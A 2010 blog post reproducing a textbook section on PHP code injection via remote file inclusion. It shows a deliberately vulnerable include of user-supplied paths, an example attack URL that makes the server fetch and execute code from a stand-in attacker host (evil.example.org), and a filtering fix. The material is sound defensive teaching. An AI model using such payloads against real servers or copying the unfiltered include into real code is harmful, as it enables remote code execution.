Monday, January 11, 2010

Section 5.4.  Code Injection










5.4. Code Injection








An extremely dangerous situation exists when you use tainted data as the leading part of a dynamic include:



<?php

include "{$_GET['path']}/header.inc";

?>



Rather than being able to manipulate only the filename, this situation allows an attacker to manipulate the nature of the resource to be included. Due to a feature of PHP that is enabled by default (and controlled by the allow_url_fopen directive), resources other than files can be included:



<?php

include 'http://www.google.com/';

?>



The behavior of this use of include is that the source of http://www.google.com is included as though it were a local file. While this particular example is harmless, imagine if the source returned by Google contained PHP code. The PHP code would be interpreted and executedexactly the opportunity that an attacker can take advantage of to deliver a serious blow to your security.


Imagine a value of path that indicates a resource under the attacker's control:



http://example.org/index.php?path=http%3A%2F%2Fevil.example.org%2Fevil.inc%3F



In this example, path is the URL encoded value of the following:



http://evil.example.org/evil.inc?



This causes the include statement to include and execute code of the attacker's choosing (evil.inc), and the filename is treated as the query string:



<?php

include "http://evil.example.org/evil.inc?/header.inc";

?>



This eliminates the need for an attacker to guess the remaining pathname and filename (/header.inc) and reproduce this at evil.example.org. Instead, all she must do is make the evil.inc script output valid PHP code to be executed by the victim's web serverit can ignore the query string.


This is just as dangerous as allowing an attacker to edit your PHP scripts directly. Luckily, it is easily defeateduse only filtered data in your include and require statements:



<?php

$clean = array();

/* $_GET['path'] is filtered and stored in $clean['path']. */

include "{$clean['path']}/header.inc";

?>













No comments: